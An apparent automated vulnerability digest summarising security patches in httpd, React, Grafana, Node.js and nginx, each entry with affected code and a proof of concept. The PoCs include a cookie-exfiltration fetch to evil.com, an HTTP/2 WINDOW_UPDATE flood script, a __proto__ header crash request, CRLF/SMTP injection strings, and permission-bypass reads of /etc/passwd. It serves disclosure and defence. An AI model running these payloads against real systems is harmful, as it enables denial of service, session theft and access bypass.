📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
213
Verified
0
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

🔥 HIGH VERIFIED Integer Overflow / Heap Buffer Overflow

Apr 16, 2026, 07:49 AM — apache/httpd

Commit: d11e440c7eeca1ae06e34a912f48ee7f014f0501

Author: Joe Orton

Before the patch, functions like ap_escape_shell_cmd, ap_escape_path_segment, ap_os_escape_path, and ap_escape_urlencoded computed buffer sizes by multiplying strlen() by 2 or 3 without checking for integer overflow. On systems where apr_size_t is 64-bit but malloc/palloc internally uses size_t arithmetic, an extremely large string (e.g., ~(SIZE_MAX/3) bytes) could cause the multiplication to overflow, resulting in apr_palloc allocating a much smaller buffer than needed, leading to a heap buffer overflow when the escape functions write beyond the allocated buffer. The patch adds ap_assert checks to ensure the multiplication cannot overflow APR_SIZE_MAX before calling apr_palloc.

🔍 View Affected Code & PoC

Affected Code

cmd = apr_palloc(p, 2 * strlen(str) + 1);        /* Be safe */

Proof of Concept

Craft a request where the path or shell command argument has length approximately (APR_SIZE_MAX/3) + 1 bytes. For example, if APR_SIZE_MAX is 2^64-1, a string of length ~6148914691236517206 bytes causes `3 * strlen(segment)` to overflow to a small value (e.g., 2), so apr_palloc allocates only ~3 bytes, but ap_escape_path_segment_buffer then writes up to 3*len+1 bytes into it, causing a heap overflow. In practice on 32-bit systems where size_t is 32 bits, a string of ~715827883 bytes (feasible via large POST body or chunked transfer) causes `3 * strlen` to wrap to a small value, triggering a heap buffer overflow exploitable for memory corruption or potential RCE.

🔥 HIGH VERIFIED Cross-Site Scripting (XSS) / Code Injection

Mar 30, 2026, 05:04 PM — facebook/react

Commit: 2c2fd9d12c7159efef81e7ea6ec899943cf7ca33

Author: mofeiZ

The compiler playground parsed user-supplied config overrides using `new Function(...)`, which executes arbitrary JavaScript code in the browser context. An attacker could craft a malicious URL with a base64/encoded config payload containing arbitrary JS, which when shared and opened by a victim, would execute the attacker's code in the victim's browser. The patch replaces `new Function(...)` with JSON5 parsing, which only allows data literals and rejects executable code.

🔍 View Affected Code & PoC

Affected Code

configOverrideOptions = new Function(`return (${configString})`)();

Proof of Concept

Craft a playground URL with a config store containing the following config string (which matches the expected format): `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';

({
  compilationMode: (fetch('https://evil.com?c='+document.cookie), 'all')
} satisfies PluginOptions);` — encode this as the store's config field using encodeStore(), then share the URL. When a victim opens the URL, `fetch('https://evil.com?c='+document.cookie)` executes, exfiltrating their cookies.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27880 Denial of Service (Unbounded Request Body)

Mar 30, 2026, 11:40 AM — grafana/grafana

Patch landed 2 days 20 hours 9 minutes after CVE published

Commit: 9d2745f489300a943cd934cd9b8cec837e9f4027

Author: Mariell Hoversholm

The OFREP endpoint's `validateNamespace` function used `io.ReadAll(r.Body)` without any size limit, allowing an attacker to send arbitrarily large request bodies that would be fully read into memory. This could exhaust server memory and cause a denial of service. The fix applies `http.MaxBytesReader` to limit the body to 1 MiB before reading.

🔍 View Affected Code & PoC

Affected Code

body, err := io.ReadAll(r.Body)

Proof of Concept

Send a POST request with a multi-gigabyte body to the OFREP endpoint:

curl -X POST https://grafana-instance/apis/features.grafana.app/v0alpha1/namespaces/stacks-1/ofrep/v1/evaluate/flags/some-flag \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <valid-token>' \
  --data-binary @/dev/urandom \
  --max-time 60

The server would attempt to read the entire stream into memory via io.ReadAll, potentially exhausting available RAM and causing OOM or severe degradation.

⚠️ MEDIUM VERIFIED Null Pointer Dereference / Process Crash

Mar 29, 2026, 11:56 AM — nodejs/node

Commit: bdf75a6c4e107595868b798b696a96ffe2c8c0e6

Author: Mert Can Altin

When an ArrayBufferView backed by a zero-length ArrayBuffer (which has a null backing store data pointer) is passed to crypto functions like cipher.update(), the code unconditionally dereferenced the buffer's data pointer without checking for null. This caused a process crash (SIGSEGV/access violation). The patch adds a null check so that when buf_data is null, stack_storage_ is used as a fallback, preventing the crash.

🔍 View Affected Code & PoC

Affected Code

data_ = static_cast<T*>(abv->Buffer()->Data()) + abv->ByteOffset();

Proof of Concept

const crypto = require('crypto');
const key = crypto.randomBytes(16);
const nonce = crypto.randomBytes(13);
const cipher = crypto.createCipheriv('aes-128-ccm', key, nonce, { authTagLength: 16 });
cipher.setAAD(Buffer.alloc(0), { plaintextLength: 0 });
// Passing a DataView over a zero-length ArrayBuffer causes null backing store dereference -> crash
cipher.update(new DataView(new ArrayBuffer(0)));
// Process crashes with SIGSEGV before the patch

🔥 HIGH VERIFIED Denial of Service (Resource Exhaustion)

Mar 27, 2026, 02:37 PM — grafana/grafana

Commit: 449a8a97531c48db067306858bc745b90150325e

Author: Kevin Minehart Tenorio

The fill resampling feature in Grafana's SQL datasources (MySQL, PostgreSQL, MSSQL) could be exploited to cause excessive memory allocation. By crafting a query with a very large time range and a very small fill interval (e.g., time range spanning years with millisecond intervals), an attacker could trigger `sqlutil.ResampleWideFrame` to allocate an enormous number of data points, exhausting server memory and causing a denial of service. The patch adds a guard that skips the fill operation if the number of fill points would exceed the configured row limit.

🔍 View Affected Code & PoC

Affected Code

frame, err = sqlutil.ResampleWideFrame(frame, qm.FillMissing, alignedTimeRange, qm.Interval)
if err != nil {
    logger.Error("Failed to resample dataframe", "err", err)
    frame.AppendNotices(data.Notice{Text: "Failed to resample dataframe", Severity: data.NoticeSeverityWarning})
}

Proof of Concept

Send a Grafana dashboard query to a PostgreSQL/MySQL/MSSQL datasource with: timeRange.From = '2000-01-01T00:00:00Z', timeRange.To = '2030-01-01T00:00:00Z' (30-year range), fill interval = '1ms' (1 millisecond). The macro $__timeGroup(time_column, '1ms', 0) enables fill mode with a 1ms interval. numFillPoints = 30years / 1ms ≈ 9.46e11 points. ResampleWideFrame would attempt to allocate ~9.46 trillion data points, consuming terabytes of memory and crashing the Grafana server.

🔥 HIGH VERIFIED Sensitive Data Exposure

Mar 27, 2026, 08:15 AM — grafana/grafana

Commit: c23a34af8fe64d8e24bbceef634d4493a8de8f85

Author: Ryan McKinley

When a user creates a Kubernetes resource containing inline secure values (raw secrets) via kubectl apply, the kubectl client automatically stores the full object including the raw secret value in the `kubectl.kubernetes.io/last-applied-configuration` annotation. This annotation is persisted in the API server and can be read back by anyone with read access to the resource, effectively leaking the raw secret value. The patch clears this annotation when a raw secret is detected in the inline secure values section, preventing the secret from being stored in plaintext in the annotation.

🔍 View Affected Code & PoC

Affected Code

n, err := store.CreateInline(ctx, v.ref, val.Create, val.Description)
if err != nil {
    return err
}
v.createdSecureValues = append(v.createdSecureValues, n)
v.hasChanged = true
secure[k] = common.InlineSecureValue{Name: n}
continue

Proof of Concept

1. User runs: kubectl apply -f datasource.yaml where datasource.yaml contains a secure value like {"secure": {"password": {"create": "SuperSecretPassword123"}}}
2. kubectl automatically adds annotation: kubectl.kubernetes.io/last-applied-configuration={..."secure":{"password":{"create":"SuperSecretPassword123"}}...}
3. Any user with read access to the resource can retrieve the raw secret: kubectl get datasource myds -o jsonpath='{.metadata.annotations.kubectl\.kubernetes\.io/last-applied-configuration}'
4. The raw secret value 'SuperSecretPassword123' is returned in plaintext, bypassing the entire secure value protection mechanism.

🔥 HIGH VERIFIED Use-After-Free

Mar 26, 2026, 10:18 PM — nodejs/node

Commit: 53bcd114b10021c4a883b08df4d3c2ff6946b430

Author: Matteo Collina

The Reset() method in Node.js's zlib binding did not check the write_in_progress_ flag before resetting the compression stream. This allowed calling reset() while an async write was being processed by a worker thread, causing the internal zlib/brotli state to be freed while still in use, resulting in a use-after-free condition that could lead to memory corruption or process crash. The fix adds a guard that throws an error if a write is in progress, consistent with how Close() and Write() already behave.

🔍 View Affected Code & PoC

Affected Code

AllocScope alloc_scope(wrap);
const CompressionError err = wrap->context()->ResetStream();
if (err.IsError())

Proof of Concept

const { createDeflate } = require('zlib');
const stream = createDeflate();
const input = Buffer.alloc(1024 * 1024, 0x41); // large buffer to ensure async
stream.write(input);
// Immediately reset while write is in progress in thread pool:
stream._handle.reset(); // triggers use-after-free in worker thread

⚠️ MEDIUM VERIFIED Broken Access Control / Authorization Bypass

Mar 26, 2026, 08:40 AM — grafana/grafana

Commit: bafbc26b35d94dc07918a908638194abfdd94d8a

Author: Gabriel MABILLE

Before this patch, the Kubernetes-style IAM API endpoint `/apis/iam.grafana.app/v0alpha1/namespaces/{ns}/users/{name}/teams` used the generic `ResourceAuthorizer` which only checked `get` permission on the `users` resource itself, but did not properly enforce the `teams` subresource authorization. According to the commit, the RBAC service would ignore the 'teams' subresource check, meaning any user with generic `users:read` permission could potentially access team membership data for users they shouldn't be able to see. The patch adds a dedicated `UserAuthorizer` that explicitly checks `get` permission on the parent user when the `teams` subresource is requested.

🔍 View Affected Code & PoC

Affected Code

resourceAuthorizer[iamv0.UserResourceInfo.GetName()] = authorizer

Proof of Concept

An authenticated user with `users:read` permission scoped to a subset of users (e.g., only their own user) could send: GET /apis/iam.grafana.app/v0alpha1/namespaces/org-1/users/another-user-id/teams - Before the patch, the ResourceAuthorizer would check permission on the `users` resource without properly handling the `teams` subresource distinction, potentially allowing access to team memberships of users outside the caller's permission scope. After the patch, a proper `get` check on the specific parent user is enforced before granting access to their teams.

⚠️ MEDIUM VERIFIED Broken Access Control / Information Disclosure

Mar 25, 2026, 03:52 PM — grafana/grafana

Commit: c30a9e2003af41bc11b7286f1e7800ee30523b81

Author: Yuri Tseretyan

The `/api/alertmanager/grafana/api/v2/status` endpoint was protected by the `alert.notifications:read` permission, which is granted to Viewers and Editors by default. This allowed any authenticated user (including low-privileged Viewers) to access Alertmanager system status information including routing configuration, receivers configuration, and other sensitive system details. The patch replaces this with a new dedicated `alert.notifications.system-status:read` permission that is only granted to Admin users.

🔍 View Affected Code & PoC

Affected Code

case http.MethodGet + "/api/alertmanager/grafana/api/v2/status":
	eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)

Proof of Concept

curl -u viewer:viewer http://<grafana-host>/api/alertmanager/grafana/api/v2/status
# Before the patch, this returns HTTP 200 with full Alertmanager status including routing configuration and receiver details
# After the patch, returns HTTP 403 Forbidden for Viewer/Editor users

⚠️ MEDIUM VERIFIED Authorization Bypass / Improper Access Control

Mar 25, 2026, 02:31 PM — grafana/grafana

Commit: 28958564dd2adf25bf8361acabbba4967f5e4986

Author: Gonzalo Trigueros Manzanas

Before the patch, the `validateWriteAccess` function did not handle `JobActionFixFolderMetadata` in its switch statement, meaning it fell through to the `default` case which applies no ref-based restriction. This allowed users to trigger a fix-folder-metadata job that would write directly to the default/main branch even when the repository was configured with only a 'branch' workflow (meaning the default branch should be read-only). The patch adds the missing case to extract the target ref from `FixFolderMetadata.Ref` and apply proper write permission checks.

🔍 View Affected Code & PoC

Affected Code

case provisioning.JobActionPush:
    if spec.Push != nil {
        targetRef = spec.Push.Branch
    }
// Missing case for JobActionFixFolderMetadata - falls through to default
case provisioning.JobActionMigrate:

Proof of Concept

POST /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-read-only-repo/jobs
Content-Type: application/json

{"action": "fix-folder-metadata"}

This request would bypass the branch-workflow restriction and push _folder.json files directly to the protected main branch, even though the repo is configured with only the 'branch' workflow (no direct writes to default branch allowed).
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21717 Hash Collision / Denial of Service

Mar 24, 2026, 10:50 PM — nodejs/node

📈 Patch landed 5 days 22 hours 41 minutes before CVE published

Commit: 0d7e4b1d4b0220b68bc2c5c2b973deff1664824b

Author: Joyee Cheung

V8's array index hash values for numeric strings were predictable because they directly encoded the integer value and string length without randomization. Consecutive numeric string keys (e.g., '0', '1', '2', ...) would have consecutive hash values, allowing an attacker to craft inputs that cause O(n^2) hash table probe collisions. This patch adds seeded scrambling of the 24-bit array-index value in Name's raw_hash_field using a 3-round xorshift-multiply scheme with random secrets derived from rapidhash, preventing an attacker from predicting hash distributions. This is tracked as CVE-2026-21717.

🔍 View Affected Code & PoC

Affected Code

// Previously, array index hashes were simply:
// MakeArrayIndexHash(value, length) encodes value directly
// Name::ArrayIndexValueBits::decode(raw_hash_field_) to recover
// Consecutive keys '0','1','2'... had consecutive, predictable hash values

Proof of Concept

// Node.js DoS via hash collision attack
const obj = {};
const N = 100000;
const start = Date.now();
// Insert consecutive numeric string keys - before the patch, these have
// consecutive hash values causing O(n^2) worst-case probing behavior
for (let i = 0; i < N; i++) {
  obj[String(i)] = i;
}
console.log('Time:', Date.now() - start, 'ms');
// An attacker serving a JSON payload with sequential numeric keys to a
// Node.js server causes excessive CPU usage. With predictable hashes,
// crafted inputs can force worst-case hash table behavior, leading to DoS.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21714 Memory Leak / Resource Exhaustion (DoS)

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: 82615369d4d9aab2d841d4d790263d2c6336f2e4

Author: RafaelGSS

A malicious HTTP/2 client could send a WINDOW_UPDATE frame on stream 0 (connection level) with an increment that pushes the flow-control window past 2^31-1. nghttp2 internally responds with GOAWAY(FLOW_CONTROL_ERROR) but Node.js's OnInvalidFrame callback did not handle NGHTTP2_ERR_FLOW_CONTROL, so the Http2Session was never destroyed, causing a memory leak. An attacker can exploit this to exhaust server memory by repeatedly opening connections and sending the malicious frame, enabling denial of service.

🔍 View Affected Code & PoC

Affected Code

if (nghttp2_is_fatal(lib_error_code) ||
      lib_error_code == NGHTTP2_ERR_STREAM_CLOSED ||
      lib_error_code == NGHTTP2_ERR_PROTO) {

Proof of Concept

// Connect via raw TCP to a Node.js HTTP/2 server and send:
// 1. HTTP/2 client preface: 'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
// 2. Empty SETTINGS frame
// 3. After receiving server SETTINGS, send SETTINGS ACK
// 4. Send WINDOW_UPDATE on stream 0 with increment 0x7FFFFFFF (2^31-1)
//    Default window is 65535, so 65535+2147483647 > 2^31-1 triggers NGHTTP2_ERR_FLOW_CONTROL
// The server sends GOAWAY but the Http2Session is never destroyed -> memory leak
// Repeat thousands of times to exhaust server memory.

const net = require('net');
for (let i = 0; i < 10000; i++) {
  const conn = net.connect({ port: 8443 });
  conn.write('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n');
  const settings = Buffer.alloc(9); settings[3] = 0x04; conn.write(settings);
  setTimeout(() => {
    const ack = Buffer.alloc(9); ack[3] = 0x04; ack[4] = 0x01; conn.write(ack);
    const wu = Buffer.alloc(13);
    wu.writeUIntBE(4,0,3); wu[3]=0x08; wu[4]=0x00;
    wu.writeUIntBE(0,5,4); wu.writeUIntBE(0x7FFFFFFF,9,4);
    conn.write(wu);
  }, 100);
}
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-21713 Timing Side-Channel Attack (HMAC/KMAC Verification)

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: b36d5a3d94dc3a1ddbcc35d51ce19d1fa61e8e47

Author: Filip Skokan

The Web Cryptography API's HMAC and KMAC `verify` operations used the non-constant-time `memcmp` function to compare the computed MAC against the provided signature. This allowed timing-based side-channel attacks where an attacker could measure response times to infer byte-by-byte information about the expected MAC value. The patch replaces `memcmp` with `CRYPTO_memcmp`, which executes in constant time regardless of where the comparison fails.

🔍 View Affected Code & PoC

Affected Code

out->size() > 0 && out->size() == params.signature.size() &&
    memcmp(out->data(), params.signature.data(), out->size()) == 0

Proof of Concept

// Exploit: Timing attack against SubtleCrypto.verify() for HMAC
// An attacker who can make many verify calls and measure timing can recover the HMAC value

async function timingAttack() {
  const key = await crypto.subtle.importKey(
    'raw', new TextEncoder().encode('secret-key'),
    { name: 'HMAC', hash: 'SHA-256' }, false, ['sign', 'verify']
  );
  const data = new TextEncoder().encode('message');
  // Attacker tries forged signatures byte by byte
  // memcmp returns early on first differing byte, leaking timing info
  // A signature where first byte matches will take slightly longer than one where first byte differs
  const forgedSig = new Uint8Array(32); // all zeros
  const ITERATIONS = 100000;
  const start = performance.now();
  for (let i = 0; i < ITERATIONS; i++) {
    await crypto.subtle.verify('HMAC', key, forgedSig, data);
  }
  const elapsed = performance.now() - start;
  // By varying forgedSig[0] from 0-255 and measuring timing, attacker
  // can determine correct first byte (takes measurably longer when correct)
  // Repeat for each subsequent byte to recover full HMAC
  console.log('Timing:', elapsed);
}
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21710 Denial of Service via Prototype Pollution

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: ef5929b5aaae7a14e839e2123f54580d18702df0

Author: Matteo Collina

When `headersDistinct` or `trailersDistinct` was accessed on an IncomingMessage, the destination object was initialized as a plain `{}` which inherits from `Object.prototype`. If a request included a `__proto__` header, `dst\["__proto__"\]` would resolve to `Object.prototype` (a truthy object rather than undefined), causing `_addHeaderLineDistinct` to call `.push()` on `Object.prototype` instead of an array, throwing an uncaught TypeError that crashes the Node.js process. The fix uses `{ __proto__: null }` to create a null-prototype object, preventing prototype chain lookups.

🔍 View Affected Code & PoC

Affected Code

if (!this[kHeadersDistinct]) {
  this[kHeadersDistinct] = {};

  const src = this.rawHeaders;
  const dst = this[kHeadersDistinct];

Proof of Concept

Send the following raw HTTP request to any Node.js HTTP server that accesses req.headersDistinct:

`​`​`​
GET / HTTP/1.1\r\n
Host: localhost\r\n
__proto__: test\r\n
Connection: close\r\n
\r\n
`​`​`​

Or programmatically:
`​`​`​javascript
const net = require('net');
const client = net.connect(PORT, () => {
  client.write('GET / HTTP/1.1\r\nHost: localhost\r\n__proto__: test\r\nConnection: close\r\n\r\n');
});
// Server crashes with: TypeError: dest[key].push is not a function
// because dest["__proto__"] resolves to Object.prototype (truthy),
// so push() is called on Object.prototype instead of an array.
`​`​`​
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-21711 Permission Model Bypass

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: 59c86b1d9377fae95b0523fc16537161dd685f41

Author: RafaelGSS

Node.js's permission model (--permission flag) failed to enforce network access controls for Unix Domain Socket (UDS) connections and server listeners via pipe_wrap.cc. Before the patch, calling net.createServer().listen('/tmp/sock') or net.connect({path:'/tmp/sock'}) would succeed even when --allow-net was not granted, bypassing the intended permission restrictions. The patch adds THROW_IF_INSUFFICIENT_PERMISSIONS checks to PipeWrap::Bind and PipeWrap::Listen to enforce the kNet permission scope.

🔍 View Affected Code & PoC

Affected Code

void PipeWrap::Bind(const FunctionCallbackInfo<Value>& args) {
  PipeWrap* wrap;
  ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
  node::Utf8Value name(args.GetIsolate(), args[0]);
  int err =
      uv_pipe_bind2(&wrap->handle_, *name, name.length(), UV_PIPE_NO_TRUNCATE);

Proof of Concept

// Run with: node --permission --allow-fs-read=* exploit.js
// Before patch: server binds successfully despite no --allow-net
const net = require('net');
net.createServer().listen('/tmp/bypass.sock', () => {
  console.log('Permission bypass! Server listening on UDS without --allow-net');
});
// Expected after patch: throws ERR_ACCESS_DENIED with permission: 'Net'
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21637 Uncaught Exception / Denial of Service

Mar 24, 2026, 10:46 PM — nodejs/node

Patch landed 63 days 1 hour 15 minutes after CVE published

Commit: 2e2abc6e895745cc5d04dd203afb8e0083fb6835

Author: Matteo Collina

Before the patch, if an SNICallback function threw a synchronous exception during TLS handshake processing in loadSNI(), the exception would propagate as an uncaught exception, crashing the Node.js process. The patch wraps the owner._SNICallback() invocation in a try/catch block, routing any thrown exceptions through owner.destroy() instead. A remote unauthenticated attacker can crash any Node.js TLS server by sending a TLS ClientHello with a crafted server_name value that causes the SNICallback to throw.

🔍 View Affected Code & PoC

Affected Code

owner._SNICallback(servername, (err, context) => {
    if (once)
      return owner.destroy(new ERR_MULTIPLE_CALLBACK());
    once = true;
    if (err)
      return owner.destroy(err);

Proof of Concept

// Attacker code: connect to a Node.js TLS server with a crafted servername
// Server setup (victim):
const tls = require('tls');
const server = tls.createServer({
  key: fs.readFileSync('server-key.pem'),
  cert: fs.readFileSync('server-cert.pem'),
  SNICallback: (servername, cb) => {
    // Any throw here crashes the server process before the patch
    if (!knownHosts[servername]) throw new Error('Unknown host');
    cb(null, getContext(servername));
  }
});
server.listen(443);

// Attacker: send TLS ClientHello with servername='evil.attacker.com'
// This triggers SNICallback to throw, causing uncaught exception and process crash
const client = tls.connect({ host: 'victim.com', port: 443, servername: 'evil.attacker.com', rejectUnauthorized: false });
client.on('error', () => {});
// Result: Server process crashes with uncaught Error: Unknown host
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21712 Denial of Service (Crash/Abort)

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 19 hours 44 minutes before CVE published

Commit: dabb2f5f0c0367bf8e0e116b311b9308111ab4c7

Author: RafaelGSS

Before the patch, `url.format()` called `CHECK(out)` after attempting to re-parse a URL string with `ada::parse&lt;ada::url&gt;`. If the URL (originally parsed by `ada::url_aggregator`) could not be re-parsed by `ada::url` (e.g., special scheme URLs with opaque paths like `ws:xn-ȫ`), the CHECK macro would trigger an abort/crash of the Node.js process. The patch replaces the hard crash with a graceful fallback that returns the original href unmodified.

🔍 View Affected Code & PoC

Affected Code

auto out = ada::parse<ada::url>(href.ToStringView());
CHECK(out);

Proof of Concept

// Run in Node.js - crashes the process before the patch
const url = require('node:url');
const u = new URL('ws:xn-\u022B');
url.format(u, { fragment: false, unicode: false, auth: false, search: false });
// Before patch: process aborts with CHECK failure
// After patch: returns the original href string without crashing
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21716 Permission Model Bypass

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: 3a04e0ff25a8c0090b699a606e237e7f52693583

Author: RafaelGSS

The Node.js Permission Model (introduced with --experimental-permission flag) did not enforce filesystem read/write permission checks on several `fs/promises` API functions including `lstat`, `fchmod`, and `fchown`. This allowed an attacker to bypass the permission model by using the promise-based filesystem API instead of the callback/sync APIs, which did have proper permission checks. The patch adds the missing permission checks to `lstat` (read permission) and disables `fchmod`/`fchown` entirely when the Permission Model is enabled.

🔍 View Affected Code & PoC

Affected Code

async function lstat(path, options = { bigint: false }) {
  const result = await PromisePrototypeThen(
    binding.lstat(getValidatedPath(path), options.bigint, kUsePromises),
    undefined,
    handleErrorFromBinding,
  );

Proof of Concept

// Run Node.js with Permission Model enabled, blocking access to /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp test.js

const { lstat } = require('node:fs/promises');

// Before patch: this succeeds and reveals file metadata despite being blocked
// After patch: throws ERR_ACCESS_DENIED
async function exploit() {
  try {
    const stats = await lstat('/etc/passwd');
    console.log('BYPASS SUCCESS - got stats:', stats); // succeeds before patch
  } catch (e) {
    console.log('Blocked:', e.code);
  }
}
exploit();

// Similarly for fchmod to change file permissions on a blocked file:
// const fh = await open('/etc/somefile', 'r'); // if read is allowed
// await fh.chmod(0o777); // Before patch: succeeds, bypassing write permission check
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21715 Permission Model Bypass

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: e4f3c20be260c32d5e5de5ccfb7d9cd3e82ce83e

Author: RafaelGSS

The Node.js Permission Model's `--allow-fs-read` restriction could be bypassed by using `fs.realpath.native()` instead of `fs.realpath()`. Before the patch, `RealPath` in node_file.cc lacked permission checks for both the async and sync code paths, allowing an attacker to read/resolve file paths that should be blocked by the permission model. The patch adds `ASYNC_THROW_IF_INSUFFICIENT_PERMISSIONS` and `THROW_IF_INSUFFICIENT_PERMISSIONS` checks to enforce the `kFileSystemRead` permission scope.

🔍 View Affected Code & PoC

Affected Code

if (argc > 2) {  // realpath(path, encoding, req)
    FSReqBase* req_wrap_async = GetReqWrap(args, 2);
    CHECK_NOT_NULL(req_wrap_async);
    FS_ASYNC_TRACE_BEGIN1(
        UV_FS_REALPATH, req_wrap_async, "path", TRACE_STR_COPY(*path))

Proof of Concept

// Run Node.js with permission model restricting /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp script.js
// script.js:
const fs = require('fs');
// fs.readFile('/etc/passwd', ...) would throw ERR_ACCESS_DENIED
// But before patch, this would succeed and resolve the real path:
fs.realpath.native('/etc/passwd', (err, resolvedPath) => {
  console.log('Bypassed permission model, resolved path:', resolvedPath);
});
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28755 Authentication Bypass

Mar 24, 2026, 03:28 PM — nginx/nginx

📈 Patch landed 2 minutes before CVE published

Commit: 18711f7754401dd4ce26faa721e0f0bce41d4c1e

Author: Sergey Kandaurov

In the nginx stream SSL module, the OCSP (Online Certificate Status Protocol) certificate revocation check was not being performed during client certificate validation. The code would verify the certificate chain but skip the OCSP status check, allowing clients with revoked certificates to successfully authenticate. The patch adds the missing `ngx_ssl_ocsp_get_status()` call that properly checks and enforces OCSP certificate revocation status.

🔍 View Affected Code & PoC

Affected Code

X509_free(cert);
        }
    }

    return NGX_OK;

Proof of Concept

1. Configure nginx stream with ssl_verify_client on and ssl_ocsp on
2. Obtain a valid client certificate from a CA that supports OCSP
3. Have the CA revoke the certificate (OCSP status becomes 'revoked')
4. Connect to nginx stream using the revoked certificate:
   openssl s_client -connect nginx-server:port -cert revoked-client.crt -key client.key
5. BEFORE patch: Connection succeeds despite revoked certificate (OCSP check was skipped)
6. AFTER patch: Connection is rejected with 'client SSL certificate verify error'

⚠️ MEDIUM VERIFIED Null Pointer Dereference

Mar 24, 2026, 02:46 PM — nginx/nginx

Commit: 9bc13718fe8a59a4538805516be7e141070c22d6

Author: Sergey Kandaurov

When authenticating with CRAM-MD5 or APOP methods, the code set `s-&gt;passwd.data = NULL` but did not reset `s-&gt;passwd.len`. On a subsequent authentication attempt, the non-zero length would cause the code to attempt to use the null pointer as if it pointed to valid password data, resulting in a null pointer dereference and worker process crash. The fix uses `ngx_str_null(&s-&gt;passwd)` which correctly zeroes both the data pointer and the length.

🔍 View Affected Code & PoC

Affected Code

s->passwd.data = NULL;

Proof of Concept

1. Configure nginx mail proxy with CRAM-MD5 auth method and auth_http backend.
2. Connect to the mail service and authenticate using CRAM-MD5 (first attempt succeeds or fails normally).
3. On the same connection or a new connection handled by the same worker, attempt a second CRAM-MD5 authentication.
4. The worker process crashes with a null pointer dereference because s->passwd.len is non-zero but s->passwd.data is NULL, causing nginx to attempt to read from address 0x0 when constructing the next auth HTTP request.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28753 Header Injection / SMTP Injection

Mar 24, 2026, 02:46 PM — nginx/nginx

📈 Patch landed 44 minutes before CVE published

Commit: 6f3145006b41a4ec464eed4093553a335d35e8ac

Author: Roman Arutyunyan

Before the patch, when nginx's mail module resolved a client's IP address to a hostname, it used the resolved hostname without validation in auth_http requests and SMTP proxy communications. An attacker controlling DNS responses could return a hostname containing newlines, spaces, or other special characters, enabling injection of arbitrary headers into auth_http requests or arbitrary SMTP commands into the proxied SMTP session. The patch validates that the resolved hostname only contains RFC 1034-compliant characters (letters, digits, hyphens, dots).

🔍 View Affected Code & PoC

Affected Code

s->host.data = ngx_pstrdup(c->pool, &ctx->name);
// ctx->name is used directly without validation after reverse DNS resolution

Proof of Concept

An attacker controls DNS for their IP (e.g., 1.2.3.4). They configure the PTR record to return: 'evil.com\r\nX-Injected-Header: malicious' or 'evil.com\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>'. When nginx resolves the client IP and gets this crafted hostname, it is used verbatim in auth_http HTTP request headers (e.g., as Client-Host) or in SMTP proxy greeting, allowing HTTP header injection or SMTP command injection.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27654 Heap Buffer Overflow

Mar 24, 2026, 02:45 PM — nginx/nginx

📈 Patch landed 45 minutes before CVE published

Commit: 9739e755b8dddba82e65ca2a08d079f4c9826b75

Author: Roman Arutyunyan

When nginx WebDAV module (ngx_http_dav_module) processed COPY or MOVE requests with an alias directive configured, supplying a Destination header with a URI shorter than the alias prefix caused an integer underflow in ngx_http_map_uri_to_path(). The underflow resulted in a heap buffer overwrite, which could allow an attacker to manipulate source or destination file paths to be outside the configured location root (path traversal via memory corruption). The patch adds a validation check that rejects Destination URIs shorter than the alias length before the vulnerable path mapping occurs.

🔍 View Affected Code & PoC

Affected Code

/* In ngx_http_dav_copy_move_handler(), before calling ngx_http_map_uri_to_path()
   with duri (destination URI), there was no check that duri.len >= clcf->alias.
   When alias is set and duri.len < clcf->alias, the subtraction
   (duri.len - clcf->alias) underflows as a size_t (unsigned), producing a
   huge length value passed to ngx_http_map_uri_to_path(). */

Proof of Concept

nginx.conf:
  location /files/ {
    alias /var/www/data/;
    dav_methods COPY MOVE;
  }

Exploit request:
  COPY /files/a.txt HTTP/1.1
  Host: victim.example.com
  Destination: http://victim.example.com/x
  Depth: 0

Here the Destination URI path '/x' has length 2, which is less than the alias
prefix length for '/files/' (7). This triggers the integer underflow in
ngx_http_map_uri_to_path() when computing the path length, resulting in a heap
buffer overwrite that can change the resolved destination path to be outside
/var/www/data/, potentially writing to arbitrary filesystem locations.

